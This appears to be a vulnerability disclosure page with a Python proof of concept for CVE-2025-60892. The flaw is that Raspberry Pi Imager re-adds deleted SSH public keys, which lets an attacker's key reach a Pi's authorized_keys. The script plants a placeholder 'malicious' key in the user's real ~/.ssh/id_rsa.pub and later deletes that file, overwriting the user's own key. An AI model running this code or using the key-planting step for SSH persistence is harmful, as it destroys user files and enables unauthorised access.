CVE-2025-60892: Raspberry Pi Imager公钥认证密钥重新添加漏洞

# CVE-2025-60892 PoC - Raspberry Pi Imager Key Re-addition Attack # This PoC demonstrates the vulnerability where Raspberry Pi Imager # re-adds deleted SSH public keys during OS customization import os import shutil from pathlib import Path def setup_malicious_key(): """ Setup phase: Place a malicious SSH public key in user's .ssh directory This simulates an attacker with local access to the Windows system """ user_ssh_dir = Path.home() / '.ssh' user_ssh_dir.mkdir(exist_ok=True) # Malicious public key (attacker controls the corresponding private key) malicious_pub_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7...attacker_key" with open(user_ssh_dir / 'id_rsa.pub', 'w') as f: f.write(malicious_pub_key) print(f"[+] Placed malicious key in {user_ssh_dir / 'id_rsa.pub'}") def simulate_imager_behavior(): """ Simulates Raspberry Pi Imager's vulnerable behavior: Re-reading and re-adding the public key even after user deletion """ user_ssh_dir = Path.home() / '.ssh' authorized_keys_path = Path('/tmp/pi_authorized_keys') # Simulated target # Simulate user deleting the key from imager UI print("[*] User deletes the SSH key from Raspberry Pi Imager UI...") # Simulate imager reading local id_rsa.pub local_key_path = user_ssh_dir / 'id_rsa.pub' if local_key_path.exists(): with open(local_key_path, 'r') as f: key_content = f.read() # VULNERABILITY: Imager re-adds the key despite user deletion print("[!] VULNERABILITY: Raspberry Pi Imager re-adds the key!") print(f"[*] Writing key to {authorized_keys_path}") with open(authorized_keys_path, 'a') as f: f.write(key_content + '\n') print("[+] Malicious key has been re-added to authorized_keys") print("[*] Attacker can now use their private key to access the Raspberry Pi") def cleanup(): """Cleanup test artifacts""" cleanup_path = Path.home() / '.ssh' / 'id_rsa.pub' if cleanup_path.exists(): cleanup_path.unlink() print("[*] Cleaned up test key") if __name__ == '__main__': print("=== CVE-2025-60892 PoC ===") print("Raspberry Pi Imager Public Key Re-addition Vulnerability\n") setup_malicious_key() simulate_imager_behavior() cleanup() print("\n[!] Note: This PoC demonstrates the vulnerability concept.") print("[!] Real attack requires:") print(" 1. Local access to Windows system") print(" 2. User using Raspberry Pi Imager 1.9.6") print(" 3. Attacker possesses corresponding private key")